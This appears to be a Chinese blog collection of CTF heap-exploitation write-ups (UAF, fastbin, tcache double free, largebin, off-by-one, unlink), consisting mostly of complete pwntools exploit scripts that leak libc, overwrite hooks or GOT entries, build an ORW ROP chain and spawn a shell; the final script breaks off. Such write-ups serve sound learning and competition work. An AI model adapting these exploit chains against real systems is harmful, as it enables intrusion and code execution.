UAF 
[攻防世界] hacknote 
这道题跟ctfwiki上的有点不同,它不再拥有magic()函数。node[0]->Str和node[1]->Str所指向的空间各占16字节。node[2]和node[2]->Str所指向的空间均占8字节,他们会分别申请到node[1]和node[0]。||sh会使程序执行system(“xxxx||sh”),其中xxxx为system在libc中的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from  pwn import  *p = remote('61.147.171.105' , 50735 ) attachment = ELF('./hacknote' ) libc = ELF('./libc_32.so.6' ) def  add (size, content ):    p.recvuntil(b'Your choice :' )     p.sendline(b'1' )     p.recvuntil(b'Note size :' )     p.sendline(size)     p.recvuntil(b'Content :' )     p.sendline(content) def  delete (index ):    p.recvuntil(b'Your choice :' )     p.sendline(b'2' )     p.recvuntil(b'Index :' )     p.sendline(index) def  output (index ):    p.recvuntil(b'Your choice :' )     p.sendline(b'3' )     p.recvuntil(b'Index :' )     p.sendline(index) print_node = 0x0804862B  puts_got = attachment.got['puts' ] add(b'16' , b'' ) add(b'16' , b'' ) delete(b'0' ) delete(b'1' ) add(b'8' , p32(print_node) + p32(puts_got)) output(b'0' ) puts_addr = u32(p.recv(4 )) libc_base = puts_addr - libc.symbols['puts' ] system_addr = libc_base + libc.symbols['system' ] delete(b'2' ) add(b'8' , p32(system_addr) + b'||sh' ) output(b'0' ) p.interactive() 
ACTF_2019_babyheap 
与hacknote相似,题目提供了system()函数和"/bin/sh"字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from  pwn import  *p = remote('node4.buuoj.cn' , 29851 ) def  add (size, content ):    p.recvuntil(b'Your choice: ' )     p.send(b'1' )     p.recvuntil(b'size: ' )     p.send(size)     p.recvuntil(b'content: ' )     p.send(content) def  delete (index ):    p.recvuntil(b'Your choice:' )     p.send(b'2' )     p.recvuntil(b'index:' )     p.send(index) def  print_node (index ):    p.recvuntil(b'Your choice:' )     p.send(b'3' )     p.recvuntil(b'index:' )     p.send(index) system = 0x00000000004007A0  bin_sh = 0x0000000000602010  add(b'16' , b'aaaa' ) add(b'32' , b'bbbb' ) delete(b'0' ) delete(b'1' ) add(b'16' , p64(bin_sh) + p64(system)) print_node(b'0' ) p.interactive() 
利用UAF和输入的Lair编号在栈上伪造堆块改写栈中的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from  pwn import  *p = remote('node4.buuoj.cn' , 25142 ) def  Capture ():    p.recvuntil(b'choice > ' )     p.sendline(b'1' ) def  Eat (index ):    p.recvuntil(b'choice > ' )     p.sendline(b'2' )     p.recvuntil(b'Index:' )     p.sendline(str (index).encode()) def  Cook (index, Ingredient ):    p.recvuntil(b'choice > ' )     p.sendline(b'3' )     p.recvuntil(b'Index:' )     p.sendline(str (index).encode())     p.recvuntil(b'Ingredient:' )     p.sendline(str (Ingredient).encode()) def  Lair ():    p.recvuntil(b'choice > ' )     p.sendline(b'4' ) def  Move (kingdom ):    p.recvuntil(b'choice > ' )     p.sendline(b'5' )     p.recvuntil(b'Which kingdom?' )     p.sendline(str (kingdom).encode()) def  Suicide ():    p.recvuntil(b'choice > ' )     p.sendline(b'6' ) Capture() Capture() Eat(0 ) Eat(1 ) Move(0x21 ) Lair() p.recvuntil(b'Your lair is at: ' ) addr = int (p.recvline().strip(), 16 ) Cook(1 , addr - 8 ) Capture() Capture() Cook(3 , 0xdeadbeef ) Suicide() p.interactive() 
Fastbin Attact 
babyheap_0ctf_2017 
程序存在堆任意长度溢出漏洞。objdump libc-2.23-64.so -D -M intel | grep __malloc_hook指令可以获取到malloc_hook在libc中的偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from  pwn import  *p = remote('node4.buuoj.cn' , 29563 ) def  Allocate (size ):    p.recvuntil(b'Command: ' )     p.sendline(b'1' )     p.recvuntil(b'Size: ' )     p.sendline(size) def  Fill (index, size, content ):    p.recvuntil(b'Command: ' )     p.sendline(b'2' )     p.recvuntil(b'Index: ' )     p.sendline(index)     p.recvuntil(b'Size: ' )     p.sendline(size)     p.recvuntil(b'Content: ' )     p.sendline(content) def  Free (index ):    p.recvuntil(b'Command: ' )     p.sendline(b'3' )     p.recvuntil(b'Index: ' )     p.sendline(index) def  Dump (index ):    p.recvuntil(b'Command: ' )     p.sendline(b'4' )     p.recvuntil(b'Index: ' )     p.sendline(index) Allocate(b'16' ) Allocate(b'16' ) Allocate(b'16' ) Allocate(b'16' ) Allocate(b'256' ) Free(b'1' ) Free(b'2' ) content = p64(0 ) * 3  + p64(0x21 ) + p64(0 ) * 3  + p64(0x21 ) + b'\x80'  Fill(b'0' , str (len (content)).encode(), content) content = p64(0 ) * 3  + p64(0x21 ) Fill(b'3' , str (len (content)).encode(), content) Allocate(b'16' ) Allocate(b'16' ) content = p64(0 ) * 3  + p64(0x111 ) Fill(b'3' , str (len (content)).encode(), content) Allocate(b'256' )  Free(b'4' ) Dump(b'2' ) p.recvline() libc_base = u64(p.recv(8 )) - 88  - 0x3c4b20  log.info("libc_base: "  + hex (libc_base)) malloc_hook = 0x3c4b10  + libc_base log.info("malloc_hook: "  + hex (malloc_hook)) Allocate(b'96' ) Free(b'4' ) content = p64(malloc_hook - 35 ) Fill(b'2' , str (len (content)).encode(), content) Allocate(b'96' ) Allocate(b'96' ) content = b'\x00'  * (35  - 16 ) + p64(libc_base + 0x4526a ) Fill(b'6' , str (len (content)).encode(), content) Allocate(b'32' ) p.interactive() 
[ZJCTF 2019]EasyHeap 
这题好傻逼啊,给了拿flag的函数,运行告诉我目录不存在。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from  pwn import  *p = remote('node4.buuoj.cn' , 28410 ) attachment = ELF('./pwn' ) def  Create (size, content ):    p.recvuntil(b'Your choice :' )     p.sendline(b'1' )     p.recvuntil(b'Size of Heap : ' )     p.sendline(str (size).encode())     p.recvuntil(b'Content of heap:' )     p.sendline(content) def  Edit (index, len , content ):    p.recvuntil(b'Your choice :' )     p.sendline(b'2' )     p.recvuntil(b'Index :' )     p.sendline(str (index).encode())     p.recvuntil(b'Size of Heap : ' )     p.sendline(str (len ).encode())     p.recvuntil(b'Content of heap : ' )     p.sendline(content) def  Free (index ):    p.recvuntil(b'Your choice :' )     p.sendline(b'3' )     p.recvuntil(b'Index :' )     p.sendline(str (index).encode()) Create(0x60 , b'' ) Create(0x60 , b'' ) Free(1 ) content = p64(0 ) * 13  + p64(0x71 ) + p64(0x6020E0  - 51 ) Edit(0 , len (content), content) Create(0x60 , b'' ) Create(0x60 , b'' ) content = b'\x00'  * (51  - 16 ) + p64(attachment.got['free' ]) Edit(2 , len (content), content) content = p64(attachment.plt['system' ]) Edit(0 , len (content), content) content = b'/bin/sh'  Edit(1 , len (content), content) Free(1 ) p.interactive() 
Double Free 
actf_2019_message 
tcachebins double free。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from  pwn import  *from  LibcSearcher import  *p = process('./pwn' ) attachment = ELF('./pwn' ) def  add (len , content    p.recvuntil(b"What's your choice: " )     p.sendline(b'1' )     p.recvuntil(b'Please input the length of message:' )     p.sendline(str (len ).encode())     p.recvuntil(b'Please input the message:' )     p.sendline(content) def  delete (index ):    p.recvuntil(b"What's your choice: " )     p.sendline(b'2' )     p.recvuntil(b'Please input index of message you want to delete:' )     p.sendline(str (index).encode()) def  edit (index, content ):    p.recvuntil(b"What's your choice: " )     p.sendline(b'3' )     p.recvuntil(b'Please input index of message you want to edit:' )     p.sendline(str (index).encode())     p.recvuntil(b'Now you can edit the message:' )     p.sendline(content) def  display (index ):    p.recvuntil(b"What's your choice: " )     p.sendline(b'4' )     p.recvuntil(b'Please input index of message you want to display:' )     p.sendline(str (index).encode()) add(0x20 , b'' ) add(0x20 , b'' ) add(0x20 , b'' ) delete(1 ) delete(2 ) delete(1 ) array = 0x602060  add(0x20 , p64(array + 8 )) add(0x20 , b'' ) add(0x20 , b'' ) add(0x20 , p64(attachment.got['puts' ])) display(0 ) p.recvuntil(b'The message: ' ) puts_addr = u64(p.recvline().strip().ljust(8 , b'\x00' )) print (hex (puts_addr))libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so' ) libc_base = puts_addr - libc.symbols['puts' ] system_addr = libc_base + libc.symbols['system' ] free_hook_addr = libc_base + libc.symbols['__free_hook' ] edit(6 , p64(free_hook_addr)) edit(0 , p64(system_addr)) edit(3 , b'/bin/sh\x00' ) delete(3 ) p.interactive() 
[2018强网杯]raisepig 
首先创建并释放7个块将tcache bins灌满,然后再创建并释放一个同样大小的块,它就会进入到unsorted bins中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from  pwn import  *p = remote('node4.buuoj.cn' , 28276 ) attachment = ELF('./pwn' ) libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so' ) def  create (len , name, type     p.recvuntil(b'Your choice : ' )     p.sendline(b'1' )     p.recvuntil(b'Length of the name :' )     p.sendline(str (len ).encode())     p.recvuntil(b'The name of pig :' )     p.sendline(name)     p.recvuntil(b'The type of the pig :' )     p.sendline(type ) def  visit ():    p.recvuntil(b'Your choice : ' )     p.sendline(b'2' ) def  eat (index ):    p.recvuntil(b'Your choice : ' )     p.sendline(b'3' )     p.recvuntil(b'Which pig do you want to eat:' )     p.sendline(str (index).encode()) def  clear ():    p.recvuntil(b'Your choice : ' )     p.sendline(b'4' ) create(0x80 , b'' , b'0' ) create(0x80 , b'' , b'1' ) create(0x80 , b'' , b'2' ) create(0x80 , b'' , b'3' ) create(0x80 , b'' , b'4' ) create(0x80 , b'' , b'5' ) create(0x80 , b'' , b'6' ) create(0x80 , b'' , b'7' ) create(0x80 , b'' , b'8' )  eat(0 ) eat(1 ) eat(2 ) eat(3 ) eat(4 ) eat(5 ) eat(6 ) eat(7 ) create(0x20 , b'9999999' , b'9' ) visit() p.recvuntil(b'Name[9]' ) p.recvline() libc_base = u64(p.recvline().strip().ljust(8 , b'\x00' )) - 96  - 0x3ebc40  free_hook_addr = libc_base + libc.symbols['__free_hook' ] system_addr = libc_base + libc.symbols['system' ] print (hex (libc_base), hex (free_hook_addr), hex (system_addr))create(0x60 , b'' , b'10' ) create(0x60 , b'' , b'11' ) create(0x60 , b'' , b'12' )  eat(10 ) eat(11 ) eat(10 ) create(0x60 , p64(free_hook_addr), b'13' ) create(0x60 , b'/bin/sh\x00' , b'14' ) create(0x60 , b'' , b'15' ) create(0x60 , p64(system_addr), b'16' ) eat(14 ) p.interactive() 
Largebin Attack 
Elder Ring III 
题目存在UAF漏洞,只能申请大堆块,打largebin attack。victim->bk_nextsize->fd_nextsize = victim,使得我们在mp_ + 0x50的地方写入了一个堆地址。
由下面的源码可知,我们需要的tcache_bins紧邻sbrk_base。因此,我们先找到sbrk_base的地址,在搜索哪里调用了这个地址,那么这个地址的下一行就是tchache_bins。寻找过程如图:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from  pwn import  *p = process('./ERIII' ) libc = ELF('./2.32-0ubuntu3.2_amd64/libc.so.6' ) def  create (index, size ):    p.sendlineafter(b'>' , b'1' )     p.sendlineafter(b'Index: ' , str (index).encode())     p.sendlineafter(b'Size: ' , str (size).encode()) def  delete (index ):    p.sendlineafter(b'>' , b'2' )     p.sendlineafter(b'Index: ' , str (index).encode()) def  edit (index, content ):    p.sendlineafter(b'>' , b'3' )     p.sendlineafter(b'Index: ' , str (index).encode())     p.sendafter(b'Content: ' , content) def  show (index ):    p.sendlineafter(b'>' , b'4' )     p.sendlineafter(b'Index: ' , str (index).encode()) create(1 , 0x500 ) create(2 , 0x600 ) create(3 , 0x700 ) delete(1 ) delete(3 ) create(4 , 0x700 ) show(1 ) libc_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0x1e4030  mp_addr = libc_base + 0x1e3280   free_hook_addr = libc_base + libc.symbols['__free_hook' ] system_addr = libc_base + libc.symbols['system' ] print (hex (libc_base), hex (mp_addr), hex (free_hook_addr))create(10 , 0x500 )  create(5 , 0x700 )   create(6 , 0x500 ) create(7 , 0x6f0 )   create(8 , 0x500 ) delete(5 ) create(9 , 0x900 ) delete(7 ) show(5 ) fd = u64(p.recv(6 ).ljust(8 ,b"\x00" )) edit(5 , p64(fd) * 2  + p64(mp_addr + 0x50  - 0x20 ) * 2 ) create(11 , 0x900 ) create(2 , 0x500 ) delete(2 ) edit(1 , p64(0 ) * 13  + p64(free_hook_addr)) create(3 , 0x500 ) edit(3 , p64(system_addr)) edit(6 , b'/bin/sh\x00' ) delete(6 ) p.interactive() 
off by one 
asis2016_b00ks 
这道题在本地可以打通,buu上死活打不通。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from  pwn import  *p = process('./pwn' ) libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so' ) def  create (NameSize, name, DescSize, desc ):    p.recvuntil(b'> ' )     p.sendline(b'1' )     p.recvuntil(b'Enter book name size: ' )     p.sendline(str (NameSize).encode())     p.recvuntil(b'Enter book name (Max 32 chars): ' )     p.sendline(name)     p.recvuntil(b'Enter book description size: ' )     p.sendline(str (DescSize).encode())     p.recvuntil(b'Enter book description: ' )     p.sendline(desc) def  delete (index ):    p.recvuntil(b'> ' )     p.sendline(b'2' )     p.recvuntil(b'Enter the book id you want to delete: ' )     p.sendline(str (index).encode()) def  edit (index, desc ):    p.recvuntil(b'> ' )     p.sendline(b'3' )     p.recvuntil(b'Enter the book id you want to edit: ' )     p.sendline(str (index).encode())     p.recvuntil(b'Enter new book description: ' )     p.sendline(desc) def  show ():    p.recvuntil(b'> ' )     p.sendline(b'4' ) def  change (author ):    p.recvuntil(b'> ' )     p.sendline(b'5' )     p.recvuntil(b'Enter author name: ' )     p.sendline(author) p.recvuntil(b'Enter author name: ' ) p.sendline(b'a'  * 32 ) create(0x20 , b'' , 0x100 , b'' ) show() p.recvuntil(b'a'  * 32 ) list_addr = u64(p.recvline().strip().ljust(8 , b'\x00' )) print (hex (list_addr))edit(1 , b'\x00'  * 0xb0  + p64(1 ) + p64(list_addr + 0x30 ) + p64(list_addr + 0xd0 ) + p64(0xff )) change(b'a'  * 32 ) create(0x80 , b'' , 0x20 , b'' ) delete(2 ) show() p.recvuntil(b'Name: ' ) libc_base = u64(p.recvline().strip().ljust(8 , b'\x00' )) - 88  - 0x3c3b20  free_hook_addr = libc_base + libc.symbols['__free_hook' ] system_addr = libc_base + libc.symbols['system' ] print ('libc_base: '  + hex (libc_base))print ('free_hook: '  + hex (free_hook_addr))print ('system:    '  + hex (system_addr))create(0x80 , b'/bin/sh\x00' , 0x20 , b'' ) edit(1 , p64(free_hook_addr) + p64(0x20 )) edit(3 , p64(system_addr)) delete(3 ) p.interactive() 
heapcreator 
edit()函数存在明显的off by one漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from  pwn import  *from  LibcSearcher import  *p = remote('node4.buuoj.cn' , 29063 ) attachment = ELF('./pwn' ) def  create (size, content ):    p.recvuntil(b'Your choice :' )     p.sendline(b'1' )     p.recvuntil(b'Size of Heap : ' )     p.sendline(str (size).encode())     p.recvuntil(b'Content of heap:' )     p.sendline(content) def  edit (index, content ):    p.recvuntil(b'Your choice :' )     p.sendline(b'2' )     p.recvuntil(b'Index :' )     p.sendline(str (index).encode())     p.recvuntil(b'Content of heap : ' )     p.sendline(content) def  show (index ):    p.recvuntil(b'Your choice :' )     p.sendline(b'3' )     p.recvuntil(b'Index :' )     p.sendline(str (index).encode()) def  delete (index ):    p.recvuntil(b'Your choice :' )     p.sendline(b'4' )     p.recvuntil(b'Index :' )     p.sendline(str (index).encode()) create(0x18 , b'' ) create(0x10 , b'' ) create(0x18 , b'' ) create(0x10 , b'' ) create(0x10 , b'' ) edit(0 , b'/bin/sh\x00'  + b' '  * 0x10  + b'\x81' ) delete(1 ) create(0x70 , b'' ) edit(1 , p64(0 ) * 3  + p64(0x21 ) + p64(0x70 ) + p64(attachment.got['free' ])) show(1 ) p.recvuntil(b'Content : ' ) free_addr = u64(p.recvline().strip().ljust(8 , b'\x00' )) libc = LibcSearcher('free' , free_addr) libc_base = free_addr - libc.dump('free' ) system_addr = libc_base + libc.dump('system' ) free_hook_addr = libc_base + libc.dump('__free_hook' ) edit(2 , b' '  * 0x18  + b'\x81' ) delete(3 ) create(0x70 , b'' ) edit(3 , p64(0 ) * 3  + p64(0x21 ) + p64(0x70 ) + p64(free_hook_addr)) edit(3 , p64(system_addr)) delete(0 ) p.interactive() 
[BALSN-CTF2019]plaintext 
create的时候存在off by null漏洞,同时开启沙箱需要orw。
首先由于此题开启了沙箱,bins里面会有一堆乱七八糟的东西,我们先把他清理干净,并创建一些堆块备用。
1 2 3 4 5 6 7 8 9 10 11 12 13 for  i in  range (16 ):    create(0x10 , b'a' ) for  i in  range (16 ):    create(0x60 , b'a' ) for  i in  range (9 ):    create(0x70 , b'a' ) for  i in  range (5 ):    create(0xc0 , b'a' ) for  i in  range (2 ):    create(0xe0 , b'a' ) for  i in  range (7 ):    create(0x28 , b'a' )  create(0x8bf0 , b'a' )  
首先我们申请一个大堆块,将其释放掉,然后再申请一个更大的堆块使得之前申请的堆块进入large bins,然后再带着他的遗产申请回来。
1 2 3 4 5 6 create(0xbf0 , b'a' )  create(0x20 , b'a' )  delete(56 ) create(0x1000 , b'a' )  create(0x28 , p64(0 ) + p64(0x521 ) + b'\xa0' )  
此时伪造的堆块在第58号块内,填充的数据暂时不用管。FAKE.fd->bk = FAKE。由于我们有large bins的遗产,此时FAKE.fd和FAKE.bk均指向第58号块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 create(0x28 , b'a' )  create(0x28 , b'a' ) create(0x28 , b'a' ) create(0x28 , b'a' )  for  i in  range (7 ):    delete(48  + i) delete(59 ) delete(61 ) for  i in  range (7 ):    create(0x28 , b'a' ) create(0x400 , b'a' )  create(0x28 , p64(0 ) + b'\x20' )  create(0x28 , b'a' )  
接下来我们要伪造FAKE.bk->fd = FAKE。由于我们有large bins的遗产,此时FAKE.bk指向第58号块。
1 2 3 4 5 6 7 8 9 for  i in  range (7 ):    delete(48  + i) delete(60 ) delete(58 ) for  i in  range (7 ):    create(0x28 , b'a' ) create(0x28 , b'\x20' )  create(0x28 , b'a' )  
接下来我们就可以愉快地构造chunk overlap了。此时我们就创造出来了一块0xb11的堆。
1 2 3 4 5 6 7 create(0x28 , b'a' )  create(0x5f8 , b'a' )  create(0xc0 , b'a' )  delete(64 ) create(0x28 , b'\x00'  * 0x20  + p64(0x520 ))  delete(65 ) 
接下来我们获取一下libc基址。创建一个堆使得FAKE的堆头与60号堆相同,然后打印出来。
1 2 3 4 5 6 create(0x40 , b'a' )  show(60 ) libc_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0x1E4CA0  free_hook_addr = libc_base + libc.symbols['__free_hook' ] print (hex (libc_base), hex (free_hook_addr))
为了方便orw,我们还需要获取堆地址。申请一个堆块,使得FAKE堆头与59号堆相同。再申请一个堆块并释放掉,让它的fd上有东西。这里要控制好大小,不要让fd中存在0字节。之后利用重叠堆块将其输出出来。
1 2 3 4 5 6 7 8 9 10 11 create(0x80 , b'a' )  create(0x28 , b'a' )  create(0x28 , b'a' )  delete(69 ) delete(68 ) show(59 ) heap_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) print (hex (heap_addr))create(0x28 , b'a' ) create(0x28 , b'a' ) 
接下来我们让__free_hook的地方写上一个magic gadget。由于2.29版本的setcontext函数中使用rdx而非rdi,因此我们需要用这个magic gadget来调整rdx的值。这个gadget用ROPgadget找不到,要用ropper。mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;。
1 2 3 4 5 6 7 8 9 10 11 12 13 magic_gadget = libc_base + 0x12be97  for  i in  range (7 ):    delete(48  + i) delete(68 ) delete(69 ) delete(59 )  for  i in  range (7 ):    create(0x28 , b'a' ) create(0x28 , p64(free_hook_addr)) create(0x28 , b'a' ) create(0x28 , b'a' ) create(0x28 , p64(magic_gadget)) 
接下来我们进行orw。由于__free_hook备我们修改,p64(setcontext_addr + 53) + p64(heap_addr - 0x60)会让程序去执行setcontext_addr + 53同时rdx是p64(heap_addr - 0x60)。在执行setcontext的时候会让p64(heap_addr + 0x60)成为rsp,p64(ret)成为rip。之后程序就会按照我们布局的伪造的栈来进行orw了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 setcontext_addr = libc_base + libc.symbols['setcontext' ] pop_rdi_ret = libc_base + 0x26542  pop_rsi_ret = libc_base + 0x26f9e  pop_rdx_ret = libc_base + 0x12bda6  pop_rax_ret = libc_base + 0x47cf8  syscall_ret = libc_base + 0xcf6c5  ret = libc_base + 0xc18ff  payload = p64(setcontext_addr + 53 ) + p64(heap_addr - 0x60 ) + p64(heap_addr + 0x60 ) + p64(ret) + b'./flag\x00\x00'  + p64(0 ) payload += p64(pop_rdi_ret) + p64(heap_addr + 0x50 ) payload += p64(pop_rsi_ret) + p64(0 ) payload += p64(pop_rdx_ret) + p64(7 ) payload += p64(pop_rax_ret) + p64(2 ) payload += p64(syscall_ret) payload += p64(pop_rdi_ret) + p64(3 ) payload += p64(pop_rsi_ret) + p64(heap_addr + 0x200 ) payload += p64(pop_rdx_ret) + p64(0x100 ) payload += p64(pop_rax_ret) + p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rdi_ret) + p64(1 ) payload += p64(pop_rsi_ret) + p64(heap_addr + 0x200 ) payload += p64(pop_rdx_ret) + p64(0x100 ) payload += p64(pop_rax_ret) + p64(1 ) payload += p64(syscall_ret) create(0x400 , payload)  delete(71 ) 
由于没有找到远程的环境,只好自己本地起一个了,这是目前做到的难度最大的一个,纪念一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 from  pwn import  *p = process('./note' ) libc = ELF('./libc-2.29.so' ) def  create (size, content ):    p.sendlineafter(b'Choice: ' , b'1' )     p.sendlineafter(b'Size: ' , str (size).encode())     p.sendafter(b'Content: ' , content) def  delete (index ):    p.sendlineafter(b'Choice: ' , b'2' )     p.sendlineafter(b'Idx: ' , str (index).encode()) def  show (index ):    p.sendlineafter(b'Choice: ' , b'3' )     p.sendlineafter(b'Idx: ' , str (index).encode()) while  True :    try :         for  i in  range (16 ):             create(0x10 , b'a' )         for  i in  range (16 ):             create(0x60 , b'a' )         for  i in  range (9 ):             create(0x70 , b'a' )         for  i in  range (5 ):             create(0xc0 , b'a' )         for  i in  range (2 ):             create(0xe0 , b'a' )         for  i in  range (7 ):             create(0x28 , b'a' )          create(0x8bf0 , b'a' )                            create(0xbf0 , b'a' )          create(0x20 , b'a' )          delete(56 )         create(0x1000 , b'a' )          create(0x28 , p64(0 ) + p64(0x521 ) + b'\xa0' )                   create(0x28 , b'a' )          create(0x28 , b'a' )         create(0x28 , b'a' )         create(0x28 , b'a' )          for  i in  range (7 ):             delete(48  + i)         delete(59 )         delete(61 )         for  i in  range (7 ):             create(0x28 , b'a' )         create(0x400 , b'a' )          create(0x28 , p64(0 ) + b'\x20' )          create(0x28 , b'a' )                            for  i in  range (7 ):             delete(48  + i)         delete(60 )         delete(58 )         for  i in  range (7 ):             create(0x28 , b'a' )         create(0x28 , b'\x20' )          create(0x28 , b'a' )                   create(0x28 , b'a' )          create(0x5f8 , b'a' )          create(0xc0 , b'a' )          delete(64 )         create(0x28 , b'\x00'  * 0x20  + p64(0x520 ))          delete(65 )                  create(0x40 , b'a' )          show(60 )         libc_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0x1E4CA0          free_hook_addr = libc_base + libc.symbols['__free_hook' ]         print (hex (libc_base), hex (free_hook_addr))                  create(0x80 , b'a' )          create(0x28 , b'a' )          create(0x28 , b'a' )          delete(69 )         delete(68 )         show(59 )         heap_addr = u64(p.recv(6 ).ljust(8 , b'\x00' ))         print (hex (heap_addr))         create(0x28 , b'a' )         create(0x28 , b'a' )                  magic_gadget = libc_base + 0x12be97          for  i in  range (7 ):             delete(48  + i)         delete(68 )         delete(69 )         delete(59 )          for  i in  range (7 ):             create(0x28 , b'a' )         create(0x28 , p64(free_hook_addr))         create(0x28 , b'a' )         create(0x28 , b'a' )         create(0x28 , p64(magic_gadget))                  setcontext_addr = libc_base + libc.symbols['setcontext' ]         pop_rdi_ret = libc_base + 0x26542          pop_rsi_ret = libc_base + 0x26f9e          pop_rdx_ret = libc_base + 0x12bda6          pop_rax_ret = libc_base + 0x47cf8          syscall_ret = libc_base + 0xcf6c5          ret = libc_base + 0xc18ff          payload = p64(setcontext_addr + 53 ) + p64(heap_addr - 0x60 ) + p64(heap_addr + 0x60 ) + p64(ret) + b'./flag\x00\x00'  + p64(0 )         payload += p64(pop_rdi_ret) + p64(heap_addr + 0x50 )         payload += p64(pop_rsi_ret) + p64(0 )         payload += p64(pop_rdx_ret) + p64(7 )         payload += p64(pop_rax_ret) + p64(2 )         payload += p64(syscall_ret)         payload += p64(pop_rdi_ret) + p64(3 )         payload += p64(pop_rsi_ret) + p64(heap_addr + 0x200 )         payload += p64(pop_rdx_ret) + p64(0x100 )         payload += p64(pop_rax_ret) + p64(0 )         payload += p64(syscall_ret)         payload += p64(pop_rdi_ret) + p64(1 )         payload += p64(pop_rsi_ret) + p64(heap_addr + 0x200 )         payload += p64(pop_rdx_ret) + p64(0x100 )         payload += p64(pop_rax_ret) + p64(1 )         payload += p64(syscall_ret)         create(0x400 , payload)                   delete(71 )     except  EOFError:         p.close()         p = process('./note' )         continue      else :         p.interactive()         exit(0 ) 
unlink 
bamboobox 
本地能打通,远程通不了,不是很理解。
1 2 3 4 5 6 7 8 9 ----------       --------------- | target |  -->  |  prev_size  | ----------       ---------------                  |     size    |                  ---------------                  |target - 0x18|                  ---------------                  |target - 0x10|                  --------------- 
如此构造0号块,其中target为listitem[0].str。同时修改1号块的prev_size和size,制造伪造堆块已经被释放的假象。target会指向target - 0x18。listitem[0].str指向free_hook,再次修改使得free_hook指向system。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from  pwn import  *p = process('./bamboobox' ) libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so' ) def  create (len , content    p.sendlineafter(b'Your choice:' , b'2' )     p.sendlineafter(b'name:' , str (len ).encode())     p.sendlineafter(b'item:' , content) def  delete (index ):    p.sendlineafter(b'Your choice:' , b'4' )     p.sendlineafter(b'item:' , str (index).encode()) def  edit (index, len , content ):    p.sendlineafter(b'Your choice:' , b'3' )     p.sendlineafter(b'item:' , str (index).encode())     p.sendlineafter(b'name:' , str (len ).encode())     p.sendlineafter(b'item:' , content) def  show ():    p.sendlineafter(b'Your choice:' , b'1' ) fake_chunk = 0x6020C8  magic = 0x400D49  create(0x80 , b'' ) create(0x80 , b'' ) create(0x20 , b'/bin/sh\x00' ) payload = p64(0 ) + p64(0x81 ) + p64(fake_chunk - 3  * 8 ) + p64(fake_chunk - 2  * 8 ) + p64(0 ) * 12  + p64(0x80 ) + p64(0x90 ) edit(0 , len (payload), payload) delete(1 ) show() p.recvuntil(b' : ' ) IO_2_1_stdin_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) libc_base = IO_2_1_stdin_addr - libc.symbols['_IO_2_1_stdin_' ] 